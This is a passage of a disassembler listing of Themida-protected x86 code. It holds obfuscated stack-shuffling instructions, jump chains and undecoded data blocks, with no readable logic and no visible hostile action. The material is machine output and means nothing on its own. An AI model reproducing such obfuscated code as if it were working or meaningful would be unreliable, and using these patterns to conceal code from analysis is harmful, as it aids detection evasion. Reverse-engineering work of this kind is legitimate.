0E94CFB3Dh, 0FFFFB231h ; --------------------------------------------------------------------------- loc_56CE78: ; CODE XREF: Themida_:0056E250j shl ebx, 3 jmp loc_56F42E ; --------------------------------------------------------------------------- dd 3702F781h, 0EF812384h, 782479BAh, 52EF781h, 0CF812FD3h dd 7C084498h, 0F781E7D1h, 0A7E648E5h, 69E9FE01h, 54FFFFBFh dd 471E9h, 24148900h, 0C86F64BAh, 8BD00128h, 34E92414h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56CEBF: ; CODE XREF: Themida_:0057083Ej inc dword ptr [esp] pop edi push ebx mov ebx, 10330057h xor edi, ebx pop ebx shl edi, 6 xor edi, 0D623F789h push edi not dword ptr [esp] pop edi neg edi push ebx mov ebx, 0A17071Eh and ebx, 15FE210Eh push eax mov eax, 4D0213BAh sub ebx, eax pop eax and ebx, 19A6605Fh jmp loc_56FC68 ; --------------------------------------------------------------------------- dd 39FC685Eh, 1C890000h, 0C5895524h, 60C4E9h, 0C4835D00h dd 1C58104h, 55089BF9h, 7B243481h, 5B67EA10h, 0FFD470E9h db 0FFh ; --------------------------------------------------------------------------- loc_56CF25: ; CODE XREF: Themida_:0056C1B0j mov ecx, [esp] add esp, 4 push ecx jmp loc_562405 ; --------------------------------------------------------------------------- loc_56CF31: ; CODE XREF: Themida_:00568453j push 50E6h mov [esp], eax add dword ptr [esp], 2A095D2Dh mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 0AAh jmp loc_564CC6 ; --------------------------------------------------------------------------- loc_56CF5D: ; CODE XREF: Themida_:00569FF1j push edx push ecx mov ch, bh jmp loc_565C40 ; --------------------------------------------------------------------------- loc_56CF66: ; CODE XREF: Themida_:00574B03j pop ebx push eax mov eax, 4A010B6Eh push ecx mov ecx, eax mov ebp, ecx pop ecx pop eax jmp loc_56E9DB ; --------------------------------------------------------------------------- loc_56CF79: ; CODE XREF: Themida_:005734BCj or eax, 5AE3287h jmp loc_56A811 ; --------------------------------------------------------------------------- db 89h dd 0F8E92404h, 83000063h, 0E98104C4h, 3ED84169h, 0EC81E901h dd 4, 2ECFE9h, 26B45000h, 8058E688h, 0F02893C6h, 0FF5484E9h db 0FFh ; --------------------------------------------------------------------------- loc_56CFB1: ; CODE XREF: Themida_:00572008j add bl, al pop eax add bl, al sub bl, 0F3h pop eax jmp loc_571C67 ; --------------------------------------------------------------------------- db 8Bh dd 89522404h, 4DB4E9E2h, 0A168FFFFh, 89000063h, 0E6892434h dd 4C681h, 0BD550000h, 4, 343CC681h, 0EE812F84h, 228E36C0h dd 0C681EE29h, 228E36C0h, 0FF8B00E9h db 0FFh ; --------------------------------------------------------------------------- loc_56CFF9: ; CODE XREF: Themida_:00564044j pop edi sub ecx, 4 jmp loc_5721B7 ; --------------------------------------------------------------------------- db 0FEh, 0CCh, 0F6h dd 0B65266D4h, 66F4001Dh, 5124148Bh, 34CE9h, 0E9F20900h dd 0FFFF735Eh, 52243489h, 3038F9BAh, 0DD8EBE17h, 0D6013D6Eh dd 7743E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D036: ; CODE XREF: Themida_:0056DA97j push ebp push esp pop ebp add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp inc esi shl esi, 4 xor esi, 1E3982B4h jmp loc_56F69F ; --------------------------------------------------------------------------- db 87h dd 0F65C2414h, 0B60F66E1h, 4EC83CCh, 0E9241489h, 0FFFF67A8h dd 0E95B55BBh, 0B2C38170h, 2936913Dh, 40E9E9DFh, 0C3810000h dd 4, 0E904C383h, 0FFFF8D5Bh, 0C4EE815Dh, 813E5405h, 4ECh dd 24048900h, 0D2455BB8h, 5DEE2D66h, 11254A86h, 52204A16h dd 0A47094BAh, 5AD03125h, 21B0E9h db 0 ; --------------------------------------------------------------------------- loc_56D0BD: ; CODE XREF: Themida_:0056A3E8j xchg edi, [esp] pop esp mov [esp], esi push eax push edx mov edx, 53E3000Bh neg edx jmp loc_562224 ; --------------------------------------------------------------------------- dw 8F5Bh dd 248B2404h, 66566624h, 22474FFh, 250BE9h, 0E0E95000h dd 0FFFFFF7Eh, 0E9042474h, 0FFFF544Dh, 41C968h, 24148900h dd 419EE9h, 0C8B5B00h, 0DFB0E924h, 0BE56FFFFh, 2, 2347C581h dd 0F50164E6h, 2347ED81h, 875E64E6h, 248B242Ch, 0BE0F6624h dd 0FFE951C8h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D12F: ; CODE XREF: Themida_:0056BAF7j mov edi, [esp] jmp loc_56F9D2 ; --------------------------------------------------------------------------- db 80h dd 0EA28E1EDh, 4AF36859h, 6AE90000h, 80000092h, 0E5C0F5E5h dd 0B7CD8008h, 28A0C580h, 2AE959EBh, 8B000085h, 0C483240Ch dd 6B3B6804h, 0C890000h dword_56D168 dd 4B924h, 0EA810000h, 50E53E5Ah, 0C281CA01h, 50E53E5Ah ; DATA XREF: Themida_:00567F75o dd 83240C8Bh, 0E95204C4h, 0FFFF44DFh ; --------------------------------------------------------------------------- loc_56D188: ; CODE XREF: Themida_:00573582j sub esi, ebx pop ebx xchg esi, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 jmp loc_56129B ; --------------------------------------------------------------------------- dw 0EAC1h dd 6EAC108h, 5438B850h, 0C23110BDh, 5124048Bh, 97EBE9h db 0 ; --------------------------------------------------------------------------- loc_56D1B5: ; CODE XREF: Themida_:00565B71j add edi, ebp pop ebp push eax jmp loc_5639D3 ; --------------------------------------------------------------------------- loc_56D1BE: ; CODE XREF: Themida_:00564D06j mov [esp], cx jmp loc_564239 ; --------------------------------------------------------------------------- db 81h dd 4C5h, 4B85000h, 29000000h, 1624E9C5h, 0C6810000h, 4 dd 7BE1E956h, 0CF090000h, 0E9685059h, 58738C34h, 96D6F796h dd 906F4205h, 8BC72184h, 0C4812404h, 4, 1E97E781h, 0C7811649h dd 65F910B0h, 6677C781h, 0FA31918Bh, 83243C8Bh, 0C28104C4h dd 1D7DDF52h, 49BFC581h, 0CDE9362Eh db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D22F: ; CODE XREF: Themida_:00574D89j mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_5635E8 ; --------------------------------------------------------------------------- dw 0ED81h dd 0B337035Fh, 7E0DED81h, 0FD2901E1h, 7E0DC581h, 0DFE901E1h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D25B: ; CODE XREF: Themida_:00572EE1j xor [esp], ebp push 1FFBh mov [esp], ebp xchg ebx, [esp] not ebx jmp loc_561364 ; --------------------------------------------------------------------------- dd 4C281h, 0C2810000h, 4, 5C241487h, 81E38953h, 4C3h, 4C38300h dd 0FFE634E9h, 0E66851FFh, 59508851h, 51E2E981h, 0CF895088h dd 91C0E959h, 0C890000h, 3C76B924h, 0BB535A3Ch, 3DA02318h dd 79D9CB81h, 0F3816558h, 734E042Bh, 0FFC03EE9h, 0E9D189FFh dd 0FFFFBEBEh, 28B6664h, 76A668h, 24148900h, 301E9h, 48B6600h dd 2F266824h, 3C890000h, 565F5424h, 701968h, 24048900h dd 3F0B1EB8h, 2E8C12Eh, 2F961235h, 344E911h, 0EF800000h dd 0E9512CBAh, 0FFFFE4EEh ; --------------------------------------------------------------------------- loc_56D310: ; CODE XREF: Themida_:00567614j xchg ebx, [esp] pop esp push 7A80h jmp loc_5660DA ; --------------------------------------------------------------------------- dw 815Bh dd 4C3h, 4359E900h, 0EA81FFFFh, 3A1967DAh, 0EC81FA01h dd 4, 0BF243C89h, 646C1110h, 547BB53h, 0D3F709C5h, 6108CB81h dd 0C38117ABh, 46F43E71h, 6ED0E381h, 0CB81309Ah, 7C71491Ah dd 9476E9h, 81E18900h, 4C1h, 2C18100h, 87000000h, 248B240Ch dd 53CCFE24h, 0FC0072B7h, 58E5305Bh, 3D6068h, 241C8900h dd 0FF4C79E9h db 0FFh ; --------------------------------------------------------------------------- loc_56D391: ; CODE XREF: Themida_:0056990Cj and ebx, ebp push dword ptr [esp] pop ebp push 2A2Dh jmp loc_56767E ; --------------------------------------------------------------------------- loc_56D3A1: ; CODE XREF: Themida_:0056F06Dj xchg eax, [esp] pop esp and eax, edi mov edi, [esp] add esp, 4 or edx, eax jmp loc_56CB03 ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFF512Fh, 5C24048Fh, 4C781h, 0C7810000h dd 2, 31243C33h, 3C33243Ch, 0F7665C24h, 5F13E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D3DE: ; CODE XREF: Themida_:00563805j push ecx mov ecx, 3DEE7F4Eh jmp loc_5647DF ; --------------------------------------------------------------------------- db 0B9h, 53h, 43h dd 0CD297B6Fh, 69EAE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D3F6: ; CODE XREF: Themida_:00563E4Ej xchg edx, [esp] jmp loc_563FFA ; --------------------------------------------------------------------------- loc_56D3FE: ; CODE XREF: Themida_:0056C736j push esi pop edx mov esi, [esp] add esp, 4 add edx, 31CF605Eh add edx, esi sub edx, 31CF605Eh pop esi jmp loc_566B6C ; --------------------------------------------------------------------------- loc_56D41D: ; CODE XREF: Themida_:00564169j mov edi, 3E10737Ch add ecx, edi pop edi add ecx, eax sub ecx, 3E10737Ch jmp loc_569DEB ; --------------------------------------------------------------------------- dw 0B60Fh aHo@ db 'ÈhŽ@',0 align 2 dw 0A4E9h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D43F: ; CODE XREF: Themida_:0057675Cj push esp pop ebx jmp loc_57406B ; --------------------------------------------------------------------------- dw 481h dd 424h, 2685A00h, 89000053h, 0B8502434h, 79796309h, 0E99C0EBEh dd 58C629E6h, 7AE9EE31h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D46B: ; CODE XREF: Themida_:0056D8FFj jmp loc_570607 ; --------------------------------------------------------------------------- dd 8B243C87h, 4892424h, 776DE924h, 8EBF0000h, 1A3D437h dd 0FD315DEFh, 68243C8Bh, 3914h, 89243489h, 4C681E6h, 0E9000000h dd 0FFFFAC53h, 24048B66h, 0E902C483h, 0FFFFFE5Ah, 79EEBE56h dd 0CE816D71h, 0BFE0452h, 8106EEC1h, 942ED3C6h, 5EF02919h dd 60BEE9h, 0E8305A00h, 240C8B66h, 3002C483h, 0C0B60FC3h dd 0E987048Fh, 0FFFF9A34h ; --------------------------------------------------------------------------- loc_56D4E0: ; CODE XREF: Themida_:005685ABj pop dword ptr [esp] push ebp jmp loc_5741F1 ; --------------------------------------------------------------------------- loc_56D4E9: ; CODE XREF: Themida_:00571016j pop ebp or ebx, 20CD22F6h add ebx, 5A224403h jmp loc_5731A9 ; --------------------------------------------------------------------------- db 89h dd 4BE2434h, 0E9000000h, 0FFFFF660h, 48E9C301h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56D50F: ; CODE XREF: Themida_:0056E9B7j add esp, 4 jmp loc_561042 ; --------------------------------------------------------------------------- dw 8150h dd 177A242Ch, 18F434Ah, 177A0181h, 0C8B434Ah, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 582434FFh, 54A668h dd 0E6A4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D54E: ; CODE XREF: Themida_:00564CA2j mov esi, [esp] sub esp, 4 mov [esp], edx jmp loc_56F6AA ; --------------------------------------------------------------------------- dd 5966EB28h, 0FE8BB450h, 5B2AE9C4h, 0C89FFFFh, 52066824h dd 5359600Eh, 975EC5BBh, 7D196815h, 14890000h, 53B0E924h dd 0B050FFFFh, 2C340C96h, 2C6804B8h, 7E8C064h, 0FFC6F3E9h dd 2434FFFFh, 68242C8Bh, 5A45h, 0FFF51AE9h db 0FFh ; --------------------------------------------------------------------------- loc_56D5A9: ; CODE XREF: Themida_:00575A22j add edi, 124115C6h push 3A57h mov [esp], ebx mov ebx, 2E2D3C86h xor edi, ebx pop ebx xor edi, 0CFC25ACFh add esi, edi pop edi dec esi xor esi, 28C81DF4h add edx, esi pop esi add edx, 4 push edx jmp loc_566D8D ; --------------------------------------------------------------------------- dw 0EC83h dd 24248904h, 0FFAB65E9h, 5AE95AFFh, 55000026h, 0DE2D8368h dd 242C8B4Ch, 0E904C483h, 6BEh, 2DD8F759h, 8B0CC94Bh, 48BC631h dd 4C48124h, 89000000h, 5F095EF3h, 0EAC4E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D61E: ; CODE XREF: Themida_:00571BB5j push ebx mov ebx, esp jmp loc_570496 ; --------------------------------------------------------------------------- loc_56D626: ; CODE XREF: Themida_:0056E1AEj inc edi or edi, 5BDA34E7h add edi, 733EAA2h mov ebx, edi jmp loc_56AD95 ; --------------------------------------------------------------------------- dw 0E9C1h dd 4EC8302h, 89242C89h, 0FB7DE9E5h, 0C689FFFFh, 0C3B85058h dd 2964336Bh, 6CA2E9C6h, 0E95C0000h, 0FFFFE816h, 0A5068h dd 24348900h, 0F7F2E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D66E: ; CODE XREF: Themida_:005725DBj mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 5BAFh mov [esp], eax push esp pop eax push esi mov esi, esp jmp loc_571C0A ; --------------------------------------------------------------------------- dw 0D089h dd 0FF5B61E9h, 0E68956FFh, 4C681h, 0EE830000h, 24348704h dd 2404895Ch, 0FF39EDE9h, 0F0015FFFh, 8124348Bh, 4C4h dd 4EC8100h, 89000000h, 74FF2404h, 8F580424h, 1CE92404h dd 8B00004Ah, 0C483240Ch, 246C0104h, 48B5D04h, 4C48124h dd 53000000h, 0FF917DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56D6FD: ; CODE XREF: Themida_:0057493Dj mov esi, 7AE52941h dec esi xor esi, 4F4F70F4h not esi add esi, 35AA59B9h add eax, esi pop esi add eax, 4 xchg eax, [esp] mov esp, [esp] xor eax, ecx xor ecx, eax xor eax, ecx sub esp, 4 mov [esp], ebx push 983h mov [esp], edi push 1 pop edi push 680Eh mov [esp], edi pop ebx pop edi and eax, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_562B16 ; --------------------------------------------------------------------------- db 68h dd 4342799Dh, 8EF18159h, 0C1407F5Fh, 0E18108E9h, 5A6F7682h dd 5E5E981h, 0CB89BDD3h, 60F00559h, 0D801046Ch, 6C60F02Dh dd 0A03E904h, 0E9570000h, 190Dh, 75368505h, 253C2D55h dd 0ABE95AD1h, 8B000031h, 0B6682404h, 8900006Ch, 5A542414h dd 40568h, 243C8900h, 210868h, 24048900h, 915EA2B8h, 7014E95Ah dd 0BF57FFFFh, 31A0727Eh, 6BA0E9h db 0 ; --------------------------------------------------------------------------- loc_56D7C9: ; CODE XREF: Themida_:0056BC72j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_572CC8 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0C87BB53h, 8BBD604Ah, 29604A0Ch, 44815BDDh, 0AFC0424h dd 44813932h, 1C1A0424h, 5BE9608Ah, 88000039h, 6010E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D80E: ; CODE XREF: Themida_:0056425Bj mov esi, [esp] push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp push eax mov eax, 0A71799Ah xor eax, 54EC6A35h neg eax add eax, 90B92FBEh add esi, eax jmp loc_56FA1C ; --------------------------------------------------------------------------- db 80h, 0E1h, 0F8h dd 0E980D1F6h, 0F0C980EDh, 8001E980h, 0CC2896E9h, 592434FFh dd 0E904C483h, 620Ch, 345D74BEh, 5EF12934h, 0FF4D55E9h dd 4EC83FFh, 56241489h, 7D023FBEh, 5EF2892Bh, 558B6851h dd 0E959244Ch, 0E6h, 24048B66h, 4EC81h, 2C890000h, 815D5424h dd 4C5h, 7AE95300h, 68000000h, 6DA7h, 0E9241C89h, 0FFFFDA83h dd 5504C483h, 596DBE56h, 90E90FA9h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D8B7: ; CODE XREF: Themida_:00570F34j pop esi add edx, edi jmp loc_56BAFC ; --------------------------------------------------------------------------- db 8Bh dd 8950240Ch, 0F0B951E0h, 0E9690A42h, 0FFFFD241h ; --------------------------------------------------------------------------- loc_56D8D0: ; CODE XREF: Themida_:00571CAFj push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp xor ebx, 7A385FA1h and eax, ebx jmp loc_57310D ; --------------------------------------------------------------------------- loc_56D8F6: ; CODE XREF: Themida_:00574879j add esp, 4 add esp, 4 jmp loc_56D46B ; --------------------------------------------------------------------------- dd 3EE7F381h, 0C3812D5Bh, 32A76214h, 0FFA660E9h, 0B951FFh dd 8112044Fh, 0D4C38E9h, 885EE916h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56D926: ; CODE XREF: Themida_:00576337j xchg edi, [esp] pop esp push edx mov edx, 1B320405h sub ecx, edx jmp loc_56F831 ; --------------------------------------------------------------------------- loc_56D937: ; CODE XREF: Themida_:005742F7j pop esi sub eax, edi mov edi, [esp] jmp loc_5762F7 ; --------------------------------------------------------------------------- dw 0F681h dd 76BF7916h, 0FEE95D56h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D94F: ; CODE XREF: Themida_:00567527j pop esp jmp loc_568435 ; --------------------------------------------------------------------------- loc_56D955: ; CODE XREF: Themida_:0056DF3Dj mov ebx, 445A1C3Fh sub ebx, 0FFFFFFFFh dec ebx jmp loc_5647C4 ; --------------------------------------------------------------------------- dw 0CA29h dd 0FF86E3E9h, 5F801FFh, 50934CA8h, 629FE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56D97A: ; CODE XREF: Themida_:0056A41Fj pop eax xchg ebx, [esp] pop esp add esp, 4 sub esp, 4 mov [esp], ebp push ebx mov ebx, 0F448C3h sub [esp+4], ebx pop ebx jmp loc_5685B0 ; --------------------------------------------------------------------------- dd 0B9240C89h, 71022DF6h, 99BD5541h, 0F71DB34Fh, 0B559E9D5h dd 77FFFFFFh, 59669D1Ch, 241CD366h, 3684E99Ch, 0D701FFFFh dd 32F7685Ah, 14E90000h, 0F7FFFFA5h, 7BBA52DFh, 0E9251275h dd 2153h ; --------------------------------------------------------------------------- loc_56D9D8: ; CODE XREF: Themida_:00572228j neg edi xchg edi, esi add esi, 311C0651h jmp loc_56F0B4 ; --------------------------------------------------------------------------- db 81h dd 0D6AD3EEEh, 0C0E9522Fh, 80FFFF90h, 48B53C3h, 0E0895024h dd 12DAE9h, 74E95900h, 87000078h, 248B242Ch, 24348924h dd 0EE7F7CBEh, 5D20E949h, 574FFFFFh, 0FF2404FFh, 815F2434h dd 4C4h, 1EF8100h, 0E97A641Ah, 0FFFF68AFh, 0D7BEE981h dd 0CF29FE1Fh, 5FE5E959h, 50660000h, 6229E99Ch, 1433FFFFh dd 24143124h, 5C241433h, 2768F1F7h, 89000044h, 9C502414h dd 0FF35DDE9h, 243C89FFh, 371A38BFh, 30CF8114h, 5225997Fh dd 0FFA888E9h db 0FFh ; --------------------------------------------------------------------------- loc_56DA79: ; CODE XREF: Themida_:00563205j mov esp, [esp] mov esi, [esp] add esp, 4 push 5A51h mov [esp], edi push esi push 62FC2B25h push dword ptr [esp] pop esi jmp loc_56D036 ; --------------------------------------------------------------------------- dd 61CCBF57h, 0EF810CA7h, 0D0530621h, 0FFE494E9h db 0FFh ; --------------------------------------------------------------------------- loc_56DAAD: ; CODE XREF: Themida_:0056F2CBj mov ebx, 56B721E2h add ebx, 27901BBFh jmp loc_5687C1 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5650D8 ; --------------------------------------------------------------------------- dw 483h dd 815E0424h, 4C6h, 7150E900h, 0E954FFFFh, 597h, 1870E958h dd 0DD290000h, 83241C8Bh, 0A2E904C4h, 81000088h, 4C4h dd 24048B00h, 4C481h, 0F7810000h, 31EC335Ah, 625F781h dd 52E917A3h, 54FFFFA0h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h dd 78BE2434h, 57429B68h, 43297EBFh, 8E7C12Fh, 0E9D7F74Fh dd 24A0h, 5324348Bh, 0C381E389h, 4, 0FFF179E9h, 1C77FFFFh dd 1058669Dh, 0E99C2404h, 0FFFF7F89h, 6ECCBB53h, 5C0146B7h dd 8B5B0824h, 18E9240Ch, 5FFFF74h, 223C7E0Ah, 21E2BA52h dd 0D02930E6h, 241C8B5Ah, 8304C483h, 348904ECh, 3685BE24h dd 15E95575h, 31FFFF4Eh, 0FD015BDFh, 83243C8Bh, 57E904C4h dd 66000085h, 0D8005959h, 1C8B4404h, 4C48324h, 3C6E68h dd 241C8900h, 6852F9B3h, 3F85h, 51240489h, 0CC8807B1h dd 0FF99C5E9h, 240489FFh, 60D2BA52h, 98E92253h, 5D00004Dh dd 0FFE5E981h, 0C829DA07h, 592434FFh, 86868h, 6118E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56DBF6: ; CODE XREF: Themida_:0056E40Aj push esi mov esi, esp add esi, 4 jmp loc_56B55C ; --------------------------------------------------------------------------- loc_56DC04: ; CODE XREF: Themida_:00565896j add edi, 27FC3733h pop ebp jmp loc_56E4EA ; --------------------------------------------------------------------------- dd 97AB951h, 7EBE1F44h, 0E91F4409h, 0FFFF4059h, 0BB5171B8h dd 5175BF79h, 5E979BBh db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56DC2F: ; CODE XREF: Themida_:0056E5B8j push edi mov edi, 5E4F7F95h sub edi, 5E4F7F91h add edx, edi pop edi add edx, 4 push 5D40h jmp loc_57562B ; --------------------------------------------------------------------------- db 50h dd 88BFB353h, 0AEE95BDCh, 89FFFFF3h, 4C581E5h, 81000000h dd 4C5h, 242C3300h, 33242C31h, 248B242Ch, 335E6824h, 0CDE90000h dd 5100006Eh, 3DA268h, 2C5EE900h, 0C4810000h, 4, 0DB568h dd 241C8900h, 526646B7h, 77B55166h, 5966EA88h, 5A66D708h dd 0B252C7FEh, 0D6F280D2h, 44EF80h, 44C780D7h, 0CCF7805Ah dd 12AEE951h, 0ED810000h, 0BFE1763h, 0E957DDF7h, 49C6h dd 7EE9E589h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DCD3: ; CODE XREF: Themida_:0056F484j add eax, ebx push 479Ah mov [esp], ebx jmp loc_56F23D ; --------------------------------------------------------------------------- dw 0F755h dd 875D2414h, 35F681EEh, 12AEB67h, 1C875EF3h, 6FE95C24h dd 2DFFFFDBh, 4, 2474FF50h, 48F5804h, 0C895C24h, 2474FF24h dd 2434FF04h, 81240C8Bh, 4C4h, 15336800h, 0B4E90000h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56DD27: ; CODE XREF: Themida_:0056DEABj add ah, 0BCh sub ah, bl sub ah, 0BCh pop ebx push 601Ch mov [esp], ebx mov bh, ah jmp loc_57649B ; --------------------------------------------------------------------------- db 49h dd 27E18141h, 415B7C4Ch, 0FFFCE7E9h, 0E9D101FFh, 0FFFF4DB0h dd 0BA52E389h, 73C2538Dh, 0F281E2D1h, 0E784A71Eh, 0FF6689E9h dd 5AD331FFh, 0FFF73BE9h, 4C181FFh, 81000000h, 4C1h, 240C8700h dd 0AAC6815Ch, 0E92D0549h, 0FFFF55AFh, 1C281h, 6FE90000h dd 81FFFF5Ch, 60742CCBh, 4EC813Ch, 89000000h, 7DBA2414h dd 4200C33Dh, 4DCA814Ah, 42541E12h, 0D725EA81h, 0C8E9E3C7h dd 66FFFFB6h, 66626B68h, 68241489h, 16CFh, 68240C89h, 45ADh dd 0E9241489h, 0FFFFE742h ; --------------------------------------------------------------------------- loc_56DDDC: ; CODE XREF: Themida_:0057692Fj push ecx jmp loc_5735AF ; --------------------------------------------------------------------------- loc_56DDE2: ; CODE XREF: Themida_:00571423j add edi, 4 xchg edi, [esp] pop esp push edi jmp loc_570D01 ; --------------------------------------------------------------------------- db 89h dd 4BD55E6h, 1000000h, 0BF575DEEh, 4, 41E9FE29h, 8100002Bh dd 4C7h, 3C246800h, 34890000h, 0E9575324h, 30CFh ; --------------------------------------------------------------------------- loc_56DE1C: ; CODE XREF: Themida_:005763ACj add ecx, 1DF87118h add ecx, ebp sub ecx, 1DF87118h pop ebp add ebx, ecx pop ecx add ebx, 1 jmp loc_569AB7 ; --------------------------------------------------------------------------- dw 1C8Bh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_56707F ; --------------------------------------------------------------------------- loc_56DE4A: ; CODE XREF: Themida_:0056836Cj push esp pop esi jmp loc_56643D ; --------------------------------------------------------------------------- loc_56DE51: ; CODE XREF: Themida_:0056C519j mov ebx, [esp] add esp, 4 push 71FEh mov [esp], ebp push 10h mov ebp, [esp] jmp loc_569906 ; --------------------------------------------------------------------------- loc_56DE6F: ; CODE XREF: Themida_:00561F71j push 1676h mov [esp], eax mov eax, 4B65724h sub esi, 0ADE3B1Eh push ecx mov ecx, 4F50405h inc ecx shr ecx, 2 jmp loc_57538E ; --------------------------------------------------------------------------- db 20h, 0F0h, 0E9h dd 0FFFF5F8Fh, 315FF989h, 240C8BC8h, 0E904C483h, 0FFFFD362h ; --------------------------------------------------------------------------- loc_56DEA8: ; CODE XREF: Themida_:00564C4Ej add bl, 0EBh jmp loc_56DD27 ; --------------------------------------------------------------------------- loc_56DEB0: ; CODE XREF: Themida_:00564FEBj mov [esp], ebx mov ebx, 54E50A99h jmp loc_570217 ; --------------------------------------------------------------------------- loc_56DEBD: ; CODE XREF: Themida_:0056ABE5j add ebx, 411D5B23h push esi mov esi, 768D7F8Dh jmp loc_5689EE ; --------------------------------------------------------------------------- dw 8150h dd 1D0F242Ch, 815A14B9h, 0B91D0FC2h, 24048B14h, 4C481h dd 0BF570000h, 11A95E97h, 15FFA01h, 3389E9C2h, 0EF810000h dd 0ECD52329h, 875FF801h, 5C2404h, 0E99C2404h, 0FFFF3136h dd 0F681E6D1h, 1080250h, 835EF301h, 1C3304C3h, 818AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56DF22: ; CODE XREF: Themida_:0056C9F6j pop ebp add ebx, 2A593514h add ebx, eax push 16B2h mov [esp], edx push esi mov esi, 7CA94EBAh not esi push edx push ebx jmp loc_56D955 ; --------------------------------------------------------------------------- loc_56DF42: ; CODE XREF: Themida_:0057564Dj add dword ptr [esp+4], 160B32DDh jmp loc_56ACAA ; --------------------------------------------------------------------------- db 89h dd 88532414h, 5BFA88EFh, 4EC81h, 0C890000h, 0D4885024h dd 48BE188h, 4C48324h, 2EEEE9h, 241C8B00h, 81E38953h, 4C3h dd 4C38100h, 87000000h, 2EE9241Ch, 83FFFF9Bh, 0C8904ECh dd 6E74B924h, 0CF3168F2h, 0DF314759h, 0DF31FB31h, 503DE9h db 0 ; --------------------------------------------------------------------------- loc_56DFA5: ; CODE XREF: Themida_:00575F4Bj mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 3585h mov [esp], ebp push 3200h mov [esp], edx jmp loc_565413 ; --------------------------------------------------------------------------- db 68h, 50h, 10h dd 97E90000h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56DFD7: ; CODE XREF: Themida_:00566D12j mov [esp], edx mov dl, al push ebx mov bl, dl mov cl, bl pop ebx pop edx push ebx push edx sub esp, 4 jmp loc_568085 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0F6h aOsR db ']šOé!R',0 align 4 loc_56DFF8: ; CODE XREF: Themida_:00571C7Cj pop eax jmp loc_564C75 ; --------------------------------------------------------------------------- loc_56DFFE: ; CODE XREF: Themida_:00573BA4j mov edi, 25B25B1Ah sub edi, 25B2531Ah push edi push edi mov edi, 40BE41FDh xor [esp+4], edi pop edi mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor ebx, 40BE41FDh mov edi, [esp] add esp, 4 and ecx, ebx push dword ptr [esp] push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_574A30 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 89000000h, 24148BD7h, 4C481h, 0FD010000h, 0FF93B5E9h dd 2474FFFFh, 0F068E904h, 895DFFFFh, 240C8BC8h, 4C481h dd 7CE90000h, 8BFFFF6Dh, 0C481242Ch, 4, 0FFE10AE9h, 0E9F001FFh dd 1341h, 15BDA89h, 3FA6E9C2h, 942D0000h, 31A4F167h, 2434FFC1h dd 0E2A0E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E0AA: ; CODE XREF: Themida_:00562916j push esi mov esi, 2D765F75h add [esp+8], esi pop esi add [esp+4], esi push edi push eax mov eax, 43871F7Ch jmp loc_5659E7 ; --------------------------------------------------------------------------- loc_56E0C5: ; CODE XREF: Themida_:0056CA0Ej sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push 77B4h mov [esp], esp add dword ptr [esp], 4 pop ecx push 5FA9h mov [esp], esi mov esi, 5B7B4105h sub esi, 372051C7h inc esi xor esi, 61230C3Bh and esi, 8281316h shl esi, 3 sub esi, 0CB5AFEDCh push edx mov edx, 696E5CACh add esi, edx pop edx jmp loc_572C70 ; --------------------------------------------------------------------------- db 55h dd 0B96FB3BDh, 0C875522h, 31D1F724h, 0C33240Ch, 240C3124h dd 0FFED815Dh, 87FFFFFFh, 